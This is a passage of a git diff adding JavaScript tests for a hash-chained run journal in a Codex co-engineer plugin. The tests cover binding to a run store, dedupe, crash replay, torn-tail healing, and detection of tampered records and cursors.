.update(`${RUN_JOURNAL_HASH_DOMAIN}\n${sample.runId}\n${sample.recordDigest}\n`, 'utf8') + .digest('hex'); + assert.equal(fingerprint, sample.fingerprint); + + const storeRoot = await makeStoreRoot('r1-r25b-legacy-store-'); + const journalRoot = await makePrivateRoot('r1-r25b-legacy-journal-'); + try { + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId: 'run-journal-bind' })); + const journal = await createRunJournal({ + root: journalRoot, store, run_id: 'run-journal-bind', + }); + assert.equal(typeof journal.record_canonical_digest, 'string'); + assert.equal(journal.aggregate_binding_digest, undefined); + const stamp = JSON.parse(await readFile(path.join(journal.directory, 'created.json'), 'utf8')); + assert.equal(stamp.schema, GOLDEN.stampSchemaV1); + assert.deepEqual(Object.keys(stamp).sort(), GOLDEN.stampV1Keys); + assert.match(stamp.nonce, /^[0-9a-f]{32}$/u); + assert.equal(stamp.run_id, 'run-journal-bind'); + assert.equal(stamp.record_canonical_digest, journal.record_canonical_digest); + + const opened = await journal.append({ kind: 'run_opened', data: {} }); + assert.equal(opened.entry.hash, GOLDEN.runOpenedHash); + const line = (await readFile(path.join(journal.directory, 'journal.jsonl'), 'utf8')) + .split('\n') + .filter(Boolean)[0]; + assert.equal(line, GOLDEN.runOpenedLine); + + const reopened = await openRunJournal({ + root: journalRoot, store, run_id: 'run-journal-bind', + }); + assert.equal(reopened.record_canonical_digest, journal.record_canonical_digest); + assert.equal(reopened.run_fingerprint, journal.run_fingerprint); + assert.equal((await reopened.currentState()).head_hash, GOLDEN.runOpenedHash); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +}); + +test('legacy stamp cap stays 256 and a max-valid 64-char run id keeps P25 open rejection', async () => { + assert.equal(MAX_RUN_JOURNAL_STAMP_BYTES, 256); + + const runId = `a${'b'.repeat(63)}`; + assert.equal(runId.length, 64); + const storeRoot = await makeStoreRoot('r1-r25b-legacy-maxid-store-'); + const journalRoot = await makePrivateRoot('r1-r25b-legacy-maxid-journal-'); + try { + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId })); + const created = await errorOf(() => createRunJournal({ + root: journalRoot, store, run_id: runId, + })); + assert.equal(created.code, 'run_journal_file_too_large'); + const stampPath = path.join(journalRoot, 'runs', runId, 'created.json'); + const stampBytes = await readFile(stampPath); + assert.ok(stampBytes.byteLength > MAX_RUN_JOURNAL_STAMP_BYTES, + `legacy 64-char stamp is ${stampBytes.byteLength} bytes and must exceed the v1 cap`); + const opened = await errorOf(() => openRunJournal({ + root: journalRoot, store, run_id: runId, + })); + assert.equal(opened.code, 'run_journal_file_too_large'); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +}); + +test('selection-branch resolution_ready binds stamp v2 and exact reopen/replay', async () => { + await withAggregateJournal(async ({ journal, journalRoot, anchor, runId, root }) => { + assert.equal(journal.run_id, runId); + assert.equal(journal.record_canonical_digest, undefined); + assert.match(journal.aggregate_binding_digest, /^sha256:[0-9a-f]{64}$/u); + assertFrozenTree(journal.aggregate_binding_digest); + + const stamp = JSON.parse(await readFile(path.join(journal.directory, 'created.json'), 'utf8')); + assert.equal(stamp.schema, GOLDEN.stampSchemaV2); + assert.deepEqual(Object.keys(stamp).sort(), GOLDEN.stampV2Keys); + assert.equal(stamp.run_id, runId); + assert.equal(stamp.binding_digest, journal.aggregate_binding_digest); + + const bound = await bindAggregateResolution(anchor, runId); + assert.equal(bound.phase, 'resolution_ready'); + assert.equal(bound.revision, 2); + assert.equal(bound.binding_digest, journal.aggregate_binding_digest); + assert.equal(validateBoundAggregateResolution(bound).binding_digest, bound.binding_digest); + + const first = await journal.append({ kind: 'run_opened', data: {} }); + assert.equal(first.created, true); + assert.equal(first.entry.hash, GOLDEN.runOpenedHash); + const line = (await readFile(path.join(journal.directory, 'journal.jsonl'), 'utf8')) + .split('\n') + .filter(Boolean)[0]; + assert.equal(line, GOLDEN.runOpenedLine); + + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + const live = await journal.currentState(); + + const reopened = await openAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + assert.equal(reopened.aggregate_binding_digest, journal.aggregate_binding_digest); + assert.equal(reopened.run_fingerprint, journal.run_fingerprint); + const replayed = await reopened.currentState(); + assert.equal(canonicalJsonStringify(replayed), canonicalJsonStringify(live)); + + const again = await openAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + assert.equal(again.aggregate_binding_digest, journal.aggregate_binding_digest); + assert.equal(canonicalJsonStringify(await again.currentState()), canonicalJsonStringify(live)); + void root; + }); +}); + +test('direct-plan resolution_ready@1 binds a distinct identity and replays after restart', async () => { + await withAggregateJournal(async ({ journal, journalRoot, anchor, runId }) => { + const bound = await bindAggregateResolution(anchor, runId); + assert.equal(bound.phase, 'resolution_ready'); + assert.equal(bound.revision, 1); + assert.equal(journal.aggregate_binding_digest, bound.binding_digest); + + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + const cachePath = path.join(journal.directory, 'state.json'); + const stale = await readFile(cachePath); + await journal.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.a' } }); + await writeFile(cachePath, stale); + + const restarted = await openAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + const replayed = await restarted.currentState(); + assert.equal(replayed.revision, 3); + assert.equal(replayed.event_counts.child_progress, 1); + await restarted.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.b' } }); + const cached = JSON.parse(await readFile(cachePath, 'utf8')); + assert.equal(cached.revision, 4); + }, { branch: 'plan', runId: 'direct-plan-run' }); +}); + +test('pre-resolution and empty roots never infer or claim aggregate journal state', async () => { + const root = await makePrivateRoot('r1-r25b-preres-'); + const journalRoot = await makePrivateRoot('r1-r25b-preres-j-'); + try { + const anchor = await initializeAggregateRunAnchorRoot(root); + assert.equal((await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: AGGREGATE_RUN_ID, + }))).code, 'aggregate_run_not_found'); + assert.deepEqual(await readdir(journalRoot), []); + + await anchor.submit(makeSubmitInput()); + const submitted = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: AGGREGATE_RUN_ID, + })); + assert.equal(submitted.code, 'run_journal_aggregate_not_ready'); + assertNoSecret(submitted); + assert.deepEqual(await readdir(journalRoot), []); + + const missingOpen = await errorOf(() => openAggregateRunJournal({ + root: journalRoot, anchor, run_id: AGGREGATE_RUN_ID, + })); + assert.ok(missingOpen.code === 'run_journal_not_found' + || missingOpen.code === 'run_journal_aggregate_not_ready'); + } finally { + await rm(root, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +}); + +test('legacy and aggregate entrypoints never cross-open or share roots', async () => { + const prepared = await makeResolvedAnchor(); + const journalRoot = await makePrivateRoot('r1-r25b-cross-j-'); + const storeRoot = await makeStoreRoot('r1-r25b-cross-p24-'); + try { + const journal = await createAggregateRunJournal({ + root: journalRoot, anchor: prepared.anchor, run_id: AGGREGATE_RUN_ID, + }); + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId: AGGREGATE_RUN_ID })); + const legacyOpen = await errorOf(() => openRunJournal({ + root: journalRoot, store, run_id: AGGREGATE_RUN_ID, + })); + assert.equal(legacyOpen.code, 'run_journal_dir_rebound'); + assert.equal(journal.aggregate_binding_digest.startsWith('sha256:'), true); + + const legacyRoot = await makePrivateRoot('r1-r25b-cross-legacy-'); + try { + await createRunJournal({ root: legacyRoot, store, run_id: AGGREGATE_RUN_ID }); + const aggOpen = await errorOf(() => openAggregateRunJournal({ + root: legacyRoot, anchor: prepared.anchor, run_id: AGGREGATE_RUN_ID, + })); + assert.equal(aggOpen.code, 'run_journal_dir_rebound'); + } finally { + await rm(legacyRoot, { recursive: true, force: true }); + } + + const sharedAnchor = await errorOf(() => createAggregateRunJournal({ + root: prepared.root, anchor: prepared.anchor, run_id: AGGREGATE_RUN_ID, + })); + assert.equal(sharedAnchor.code, 'run_journal_root_shared'); + + const storeAsAnchor = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor: store, run_id: AGGREGATE_RUN_ID, + })); + assert.equal(storeAsAnchor.code, 'invalid_type'); + + const extra = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor: prepared.anchor, run_id: AGGREGATE_RUN_ID, store, + })); + assert.equal(extra.code, 'unknown_key'); + } finally { + await rm(prepared.root, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + await rm(storeRoot, { recursive: true, force: true }); + } +}); + +test('selection and direct-plan bindings differ; identical reopen stays idempotent', async () => { + const selection = await makeResolvedAnchor({ branch: 'selection', runId: 'bridge-select-run' }); + const plan = await makeResolvedAnchor({ branch: 'plan', runId: 'bridge-plan-run' }); + const selectRoot = await makePrivateRoot('r1-r25b-sel-j-'); + const planRoot = await makePrivateRoot('r1-r25b-plan-j-'); + try { + const selectJournal = await createAggregateRunJournal({ + root: selectRoot, anchor: selection.anchor, run_id: 'bridge-select-run', + }); + const planJournal = await createAggregateRunJournal({ + root: planRoot, anchor: plan.anchor, run_id: 'bridge-plan-run', + }); + assert.notEqual(selectJournal.aggregate_binding_digest, planJournal.aggregate_binding_digest); + const selectAgain = await openAggregateRunJournal({ + root: selectRoot, anchor: selection.anchor, run_id: 'bridge-select-run', + }); + assert.equal(selectAgain.aggregate_binding_digest, selectJournal.aggregate_binding_digest); + const exists = await errorOf(() => createAggregateRunJournal({ + root: selectRoot, anchor: selection.anchor, run_id: 'bridge-select-run', + })); + assert.equal(exists.code, 'run_journal_already_exists'); + } finally { + await rm(selection.root, { recursive: true, force: true }); + await rm(plan.root, { recursive: true, force: true }); + await rm(selectRoot, { recursive: true, force: true }); + await rm(planRoot, { recursive: true, force: true }); + } +}); + +test('cross-process aggregate appends serialize through the existing journal lock', async () => { + await withAggregateJournal(async ({ journal, journalRoot, root, runId }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + const workers = ['w0', 'w1', 'w2'].map((prefix) => spawnWorker({ + anchorRoot: root, journalRoot, runId, count: 4, prefix, + })); + const results = await Promise.all(workers.map((worker) => worker.done)); + for (const result of results) { + assert.equal(result.ok, true, `worker failed: ${result.code ?? ''} ${result.message ?? ''}`); + } + const createdTotal = results.reduce((sum, result) => sum + result.created, 0); + const dedupedTotal = results.reduce((sum, result) => sum + result.deduped, 0); + assert.equal(createdTotal + dedupedTotal, 12); + const final = await journal.currentState(); + assert.equal(final.revision, 14); + assert.equal(final.event_counts.child_progress, 12); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-journal.test.mjs b/plugins/codex-co-engineer/test/r1-run-journal.test.mjs new file mode 100644 index 0000000..efd29f6 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-journal.test.mjs @@ -0,0 +1,680 @@ +import assert from 'node:assert/strict'; +import { spawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { chmod, copyFile, lstat, mkdtemp, readFile, readdir, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { RUN_JOURNAL_GENESIS_PREV } from '../mcp/v3/run-reducer.mjs'; +import { + MAX_RUN_JOURNAL_ENTRIES, + createRunJournal, + openRunJournal, + validateBoundRunRecord, +} from '../mcp/v3/run-journal.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { openRunStore } from '../mcp/v3/run-store.mjs'; +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { + makePrivateRoot, + makeSubmission, +} from './fixtures/r1-run-store-fixtures.mjs'; + +const WORKER = new URL('./fixtures/r1-run-journal-worker.mjs', import.meta.url).pathname; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value), + 'returned records must be frozen'); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +async function withJournal(fn, { runId = 'run-journal-main', open = false } = {}) { + const storeRoot = await makePrivateRoot('r1-p25-store-'); + const journalRoot = await makePrivateRoot('r1-p25-journal-'); + try { + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId })); + const journal = open + ? await openRunJournal({ root: journalRoot, store, run_id: runId }) + : await createRunJournal({ root: journalRoot, store, run_id: runId }); + return await fn({ store, storeRoot, journalRoot, runId, journal }); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +} + +async function readJournalFile(directory) { + try { + return await readFile(path.join(directory, 'journal.jsonl'), 'utf8'); + } catch (error) { + if (error.code === 'ENOENT') return ''; + throw error; + } +} + +test('create and open bind an exact validated P24 record before any path exists', async () => { + const storeRoot = await makePrivateRoot('r1-p25-store-'); + const journalRoot = await makePrivateRoot('r1-p25-journal-'); + try { + const store = await openRunStore(storeRoot); + // Unbound run: typed failure and zero filesystem side effects. + const missing = await errorOf(() => + createRunJournal({ root: journalRoot, store, run_id: 'run-never-bound' })); + assert.equal(missing.code, 'run_store_not_found'); + assert.deepEqual(await readdir(journalRoot), []); + + await store.submit(makeSubmission({ runId: 'run-journal-bind' })); + const journal = await createRunJournal({ root: journalRoot, store, run_id: 'run-journal-bind' }); + assert.equal(journal.run_id, 'run-journal-bind'); + assert.match(journal.record_canonical_digest, /^sha256:[0-9a-f]{64}$/u); + assert.equal(path.basename(path.dirname(journal.directory)), 'runs'); + assert.equal(path.basename(journal.directory), 'run-journal-bind'); + + const rebound = await errorOf(() => + createRunJournal({ root: journalRoot, store, run_id: 'run-journal-bind' })); + assert.equal(rebound.code, 'run_journal_already_exists'); + + // Sharing the accepted P24 store root fails closed. + const shared = await errorOf(() => + createRunJournal({ root: storeRoot, store, run_id: 'run-journal-bind' })); + assert.equal(shared.code, 'run_journal_root_shared'); + + // A record whose canonical digest was tampered with fails validation. + const forged = snapshotCopy(await store.getByRunId('run-journal-bind')); + forged.canonical_digest = `sha256:${'0'.repeat(64)}`; + assert.equal((await errorOf(() => validateBoundRunRecord(forged))).code, + 'run_journal_record_mismatch'); + const swapped = snapshotCopy(await store.getByRunId('run-journal-bind')); + const other = makeSubmission({ runId: 'run-other-identity' }); + swapped.identity = other.identity; + assert.equal((await errorOf(() => validateBoundRunRecord(swapped))).code, + 'run_journal_identity_mismatch'); + + const reopened = await openRunJournal({ root: journalRoot, store, run_id: 'run-journal-bind' }); + assert.equal(reopened.record_canonical_digest, journal.record_canonical_digest); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +}); + +function snapshotCopy(record) { + return JSON.parse(canonicalJsonStringify(record)); +} + +test('one-child lifecycle appends dense chained entries and settles absorbingly', async () => { + await withJournal(async ({ journal }) => { + const first = await journal.append({ kind: 'run_opened', data: {} }); + assert.equal(first.created, true); + assert.equal(first.entry.seq, 1); + assert.equal(first.entry.prev, RUN_JOURNAL_GENESIS_PREV); + assertFrozenTree(first.entry); + + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + await journal.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.tick' } }); + await journal.append({ + kind: 'child_artifact', + data: { assignment_id: 'a0', artifact: { digest: `sha256:${'b'.repeat(64)}`, bytes: 4096 } }, + }); + await journal.append({ kind: 'child_terminal', data: { assignment_id: 'a0', outcome: 'completed' } }); + const settled = await journal.append({ kind: 'run_terminal', data: { outcome: 'completed' } }); + assert.equal(settled.state.revision, 6); + assert.equal(settled.state.terminal, true); + assert.equal(settled.state.run_outcome, 'completed'); + assert.equal(settled.state.artifacts_total, 1); + assert.equal(settled.state.artifact_bytes_total, 4096); + + // Absorbing terminal state rejects every further event. + const absorbed = await errorOf(() => journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.late' }, + })); + assert.equal(absorbed.code, 'run_journal_terminal_absorbed'); + + const text = await readJournalFile(journal.directory); + const lines = text.split('\n').filter((line) => line.length > 0); + assert.equal(lines.length, 6); + const seqs = lines.map((line) => JSON.parse(line).seq); + assert.deepEqual(seqs, [1, 2, 3, 4, 5, 6]); + }); +}); + +for (const childCount of [2, 8]) { + test(`${childCount}-child lifecycle interleaves and settles only once every child is terminal`, async () => { + await withJournal(async ({ journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + const ids = Array.from({ length: childCount }, (_, index) => `child-${index}`); + for (const id of ids) { + await journal.append({ kind: 'child_started', data: { assignment_id: id } }); + } + // A run terminal before all children settle is illegal. + const early = await errorOf(() => journal.append({ + kind: 'run_terminal', data: { outcome: 'completed' }, + })); + assert.equal(early.code, 'run_journal_transition_invalid'); + + for (let index = 0; index < ids.length; index += 1) { + await journal.append({ + kind: 'child_progress', + data: { assignment_id: ids[index], note: 'progress.tick' }, + }); + await journal.append({ + kind: 'child_terminal', + data: { assignment_id: ids[index], outcome: index % 2 === 0 ? 'completed' : 'failed' }, + }); + } + if (childCount === 8) { + const ninth = await errorOf(() => journal.append({ + kind: 'child_started', data: { assignment_id: 'child-over' }, + })); + assert.equal(ninth.code, 'run_journal_children_exceeded'); + } + + const final = await journal.append({ kind: 'run_terminal', data: { outcome: 'completed' } }); + assert.equal(final.state.child_count, childCount); + assert.equal(final.state.children.every((child) => child.outcome !== null), true); + assert.deepEqual( + final.state.children.map((child) => child.assignment_id), + [...ids].sort(), + ); + }); + }); +} + +test('exact head dedupe returns the stored entry without mutation; replay and body conflicts fail', async () => { + await withJournal(async ({ journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + const submitted = await journal.append({ + kind: 'child_started', + data: { assignment_id: 'a0' }, + dedupe_key: 'dispatch/a0/attempt-1', + }); + assert.equal(submitted.created, true); + + const duplicate = await journal.append({ + kind: 'child_started', + data: { assignment_id: 'a0' }, + dedupe_key: 'dispatch/a0/attempt-1', + expected_seq: 2, + }); + assert.equal(duplicate.created, false); + assert.equal(duplicate.deduped, true); + assert.equal(duplicate.entry.seq, 2); + assert.equal(canonicalJsonStringify(duplicate.entry), canonicalJsonStringify(submitted.entry)); + + // The same body resubmitted once the head advanced is a replay. + await journal.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.x' } }); + const inodeBefore = (await lstat(path.join(journal.directory, 'journal.jsonl'))).ino; + const replayed = await errorOf(() => journal.append({ + kind: 'child_started', + data: { assignment_id: 'a0' }, + dedupe_key: 'dispatch/a0/attempt-1', + })); + assert.equal(replayed.code, 'run_journal_replay_conflict'); + + // The same key with a different body is a dedupe conflict at any position. + const conflictingBody = await errorOf(() => journal.append({ + kind: 'child_started', + data: { assignment_id: 'a1' }, + dedupe_key: 'dispatch/a0/attempt-1', + })); + assert.equal(conflictingBody.code, 'run_journal_dedupe_conflict'); + + const inodeAfter = (await lstat(path.join(journal.directory, 'journal.jsonl'))).ino; + assert.equal(inodeAfter, inodeBefore, 'conflicts and dedupe must not mutate the journal'); + }); +}); + +test('compare-and-swap expected_seq gates concurrent optimism with typed conflicts', async () => { + await withJournal(async ({ journal }) => { + await journal.append({ kind: 'run_opened', data: {}, expected_seq: 1 }); + const raced = await journal.append({ + kind: 'child_started', + data: { assignment_id: 'a0' }, + expected_seq: 3, + }).then( + () => null, + (error) => error, + ); + assert.equal(raced.code, 'run_journal_expectation_conflict'); + const correct = await journal.append({ + kind: 'child_started', + data: { assignment_id: 'a0' }, + expected_seq: 2, + }); + assert.equal(correct.created, true); + assert.equal(correct.entry.seq, 2); + }); +}); + +test('crash and restart replay the exact derived state and republish stale caches', async () => { + await withJournal(async ({ store, journalRoot, runId, journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + const liveState = await journal.currentState(); + + // Simulate a crash after the journal rename but before the state cache publish. + const cachePath = path.join(journal.directory, 'state.json'); + const staleCache = await readFile(cachePath); + await journal.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.a' } }); + await writeFile(cachePath, staleCache); + + const restarted = await openRunJournal({ root: journalRoot, store, run_id: runId }); + const replayed = await restarted.currentState(); + assert.notEqual(replayed.revision, liveState.revision); + assert.equal(replayed.revision, 3); + assert.equal(replayed.event_counts.child_progress, 1); + + // The next append republishes the cache at the new head. + await restarted.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.b' } }); + const finalState = await restarted.currentState(); + const cached = JSON.parse(await readFile(cachePath, 'utf8')); + assert.equal(cached.revision, 4); + assert.equal(cached.revision, finalState.revision); + assert.equal(cached.head_hash, finalState.head_hash); + }); +}); + +test('missing and stale derived-state caches rebuild exactly; disagreeing caches fail hard', async () => { + await withJournal(async ({ store, journalRoot, runId, journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + const cachePath = path.join(journal.directory, 'state.json'); + const journalPath = path.join(journal.directory, 'journal.jsonl'); + const revTwoCache = Buffer.from(await readFile(cachePath)); + + await rm(cachePath); + const reopened = await openRunJournal({ root: journalRoot, store, run_id: runId }); + assert.equal((await reopened.currentState()).revision, 2); + + await reopened.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.c' }, + }); + assert.equal(JSON.parse(await readFile(cachePath, 'utf8')).revision, 3); + + // A well-formed older cache is a legal crash residue. + await writeFile(cachePath, revTwoCache); + const staleOk = await openRunJournal({ root: journalRoot, store, run_id: runId }); + assert.equal((await staleOk.currentState()).revision, 3); + + // A structurally valid cache that lies about its own prefix is tampering. + const lying = JSON.parse(canonicalJsonStringify( + JSON.parse(revTwoCache.toString('utf8')), + )); + lying.children[0].progress_events = 5; + await writeFile(cachePath, `${canonicalJsonStringify(lying)}\n`); + const mismatch = await errorOf(() => openRunJournal({ root: journalRoot, store, run_id: runId })); + assert.equal(mismatch.code, 'run_journal_state_mismatch'); + + // A consistent cache above a shortened-but-valid journal is regression. + await writeFile(cachePath, revTwoCache); + const firstLine = (await readFile(journalPath, 'utf8')).split('\n')[0]; + await writeFile(journalPath, `${firstLine}\n`); + const regressed = await errorOf(() => openRunJournal({ root: journalRoot, store, run_id: runId })); + assert.equal(regressed.code, 'run_journal_state_regression'); + }); +}); + +test('torn tails heal by truncation on demand and automatically before the next append', async () => { + await withJournal(async ({ journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + const journalPath = path.join(journal.directory, 'journal.jsonl'); + const good = await readFile(journalPath); + await appendBytes(journalPath, '{"schema":"codex-co-engineer.run-jou'); + + const healed = await journal.healTornTail(); + assert.equal(healed.healed, true); + assert.equal(healed.state.revision, 2); + assert.equal(await readFile(journalPath, 'utf8'), good.toString('utf8')); + + // Reads fail closed while torn; append heals first and then commits. + await appendBytes(journalPath, '{"seq":3,"kind":"child_prog'); + const healedAgain = await journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.after-crash' }, + }); + assert.equal(healedAgain.created, true); + assert.equal(healedAgain.entry.seq, 3); + assert.equal(healedAgain.state.event_counts.child_progress, 1); + }); +}); + +async function appendBytes(target, text) { + const { appendFile } = await import('node:fs/promises'); + await appendFile(target, text); +} + +test('committed corruption anywhere fails hard while torn-tail bytes stay healable', async () => { + await withJournal(async ({ store, journalRoot, runId, journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + await journal.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.mid' } }); + const journalPath = path.join(journal.directory, 'journal.jsonl'); + const lines = (await readFile(journalPath, 'utf8')).split('\n').filter(Boolean); + + // Rewrite the middle entry's outcome fields: committed corruption. + const forged = JSON.parse(lines[1]); + forged.data.assignment_id = 'hijack'; + lines[1] = canonicalJsonStringify(forged); + await writeFile(journalPath, `${lines.join('\n')}\n`); + const corrupt = await errorOf(() => openRunJournal({ root: journalRoot, store, run_id: runId })); + assert.equal(corrupt.code, 'run_journal_committed_corruption'); + + // A fully-written but hash-breaking tail line is committed corruption too. + const honest = [ + canonicalJsonStringify(JSON.parse(lines[0])), + canonicalJsonStringify({ ...JSON.parse(lines[1]), data: { assignment_id: 'a0' } }), + lines[2], + ]; + const brokenHash = JSON.parse(honest[2]); + brokenHash.hash = `sha256:${'f'.repeat(64)}`; + await writeFile(journalPath, `${honest.join('\n')}\n${canonicalJsonStringify(brokenHash)}\n`); + const tailCorrupt = await errorOf(() => journal.healTornTail()); + assert.equal(tailCorrupt.code, 'run_journal_committed_corruption'); + }); +}); + +test('cursor paging is bounded, run-bound, tamper-evident, and diagnostics stay content-free', async () => { + await withJournal(async ({ journal, runId }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + for (let index = 0; index < 5; index += 1) { + await journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: `progress.${index}` }, + }); + } + + const page1 = await journal.readPage({ limit: 2 }); + assert.equal(page1.events.length, 2); + assert.equal(page1.events[0].seq, 1); + assert.deepEqual(Object.keys(page1.diagnostics).sort(), [ + 'remaining_events', 'served_bytes', 'served_events', 'stale_temporaries', 'truncated', + ]); + assert.equal(page1.diagnostics.truncated, true); + assert.equal(typeof page1.diagnostics.served_bytes, 'number'); + assertFrozenTree(page1); + + const page2 = await journal.readPage({ cursor: page1.next_cursor, limit: 2 }); + const page3 = await journal.readPage({ cursor: page2.next_cursor, limit: 2 }); + const page4 = await journal.readPage({ cursor: page3.next_cursor, limit: 2 }); + assert.equal(page4.events.length, 1); + assert.equal(page4.next_cursor, null); + assert.equal(page4.diagnostics.remaining_events, 0); + const served = [...page1.events, ...page2.events, ...page3.events, ...page4.events]; + assert.deepEqual(served.map((entry) => entry.seq), [1, 2, 3, 4, 5, 6, 7]); + + const position = await journal.cursorAfter(7); + assert.equal(position.cursor.length <= 512, true); + const emptyTail = await journal.readPage({ cursor: position.cursor, limit: 2 }); + assert.equal(emptyTail.events.length, 0); + + // Tampering with any token byte fails closed. + const flipped = flipLastChar(page1.next_cursor); + const tampered = await errorOf(() => journal.readPage({ cursor: flipped })); + assert.equal(tampered.code, 'run_journal_cursor_invalid'); + + // A cursor beyond the head is stale; a mismatched prefix hash is rejected. + // Both forgeries carry valid seals: the cursor is tamper-evident, not secret. + const { RUN_JOURNAL_CURSOR_DOMAIN } = await import('../mcp/v3/run-journal.mjs'); + const sealFor = (payloadText) => { + const payload = Buffer.from(payloadText).toString('base64url'); + const seal = createHash('sha256').update(`${RUN_JOURNAL_CURSOR_DOMAIN}\n${payload}`, 'utf8').digest(); + return `${payload}.${seal.toString('base64url')}`; + }; + const staleToken = sealFor(canonicalJsonStringify({ + v: 1, + run: journal.run_fingerprint, + seq: 99, + head: RUN_JOURNAL_GENESIS_PREV, + })); + const stale = await errorOf(() => journal.readPage({ cursor: staleToken })); + assert.equal(stale.code, 'run_journal_cursor_stale'); + + const mismatchToken = sealFor(canonicalJsonStringify({ + v: 1, + run: journal.run_fingerprint, + seq: 0, + head: `sha256:${'0'.repeat(64)}`, + })); + const mismatched = await errorOf(() => journal.readPage({ cursor: mismatchToken })); + assert.equal(mismatched.code, 'run_journal_cursor_mismatch'); + + // Cross-run reuse fails with the dedicated code. The sibling keeps its + // own P24 store alive so every rebinding stays possible until asserted. + const siblingStore = await makePrivateRoot('r1-p25-sibling-store-'); + const siblingRoot = await makePrivateRoot('r1-p25-sibling-root-'); + try { + const siblingStoreHandle = await openRunStore(siblingStore); + await siblingStoreHandle.submit(makeSubmission({ runId: 'run-journal-sibling' })); + const second = await createRunJournal({ + root: siblingRoot, + store: siblingStoreHandle, + run_id: 'run-journal-sibling', + }); + const crossRun = await errorOf(() => second.readPage({ cursor: page1.next_cursor })); + assert.equal(crossRun.code, 'run_journal_cursor_cross_run'); + } finally { + await rm(siblingStore, { recursive: true, force: true }); + await rm(siblingRoot, { recursive: true, force: true }); + } + void runId; + }, { runId: 'run-journal-pages' }); +}); + +function flipLastChar(token) { + const last = token.at(-1); + const replacement = last === 'A' ? 'B' : 'A'; + return `${token.slice(0, -1)}${replacement}`; +} + +test('cross-process appends serialize into one dense authoritative chain', async () => { + await withJournal(async ({ storeRoot, journalRoot, runId, journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + + const workers = ['w0', 'w1', 'w2'].map((prefix) => spawnWorker({ + storeRoot, journalRoot, runId, count: 6, prefix, + })); + const results = await Promise.all(workers.map((worker) => worker.done)); + for (const result of results) { + assert.equal(result.ok, true, + `worker failed: ${result.code ?? ''} ${result.message ?? ''}`); + assert.equal(result.appended, 6); + } + const createdTotal = results.reduce((sum, result) => sum + result.created, 0); + const dedupedTotal = results.reduce((sum, result) => sum + result.deduped, 0); + assert.equal(createdTotal + dedupedTotal, 18); + + const final = await journal.currentState(); + assert.equal(final.revision, 20); + assert.equal(final.event_counts.child_progress, 18); + const text = await readJournalFile(journal.directory); + const seqs = text.split('\n').filter(Boolean).map((line) => JSON.parse(line).seq); + assert.deepEqual(seqs, Array.from({ length: 20 }, (_, index) => index + 1)); + }, { runId: 'run-journal-concurrent' }); +}); + +test('duplicate cross-process submissions keep exactly one committed entry per dedupe key', async () => { + await withJournal(async ({ storeRoot, journalRoot, runId, journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 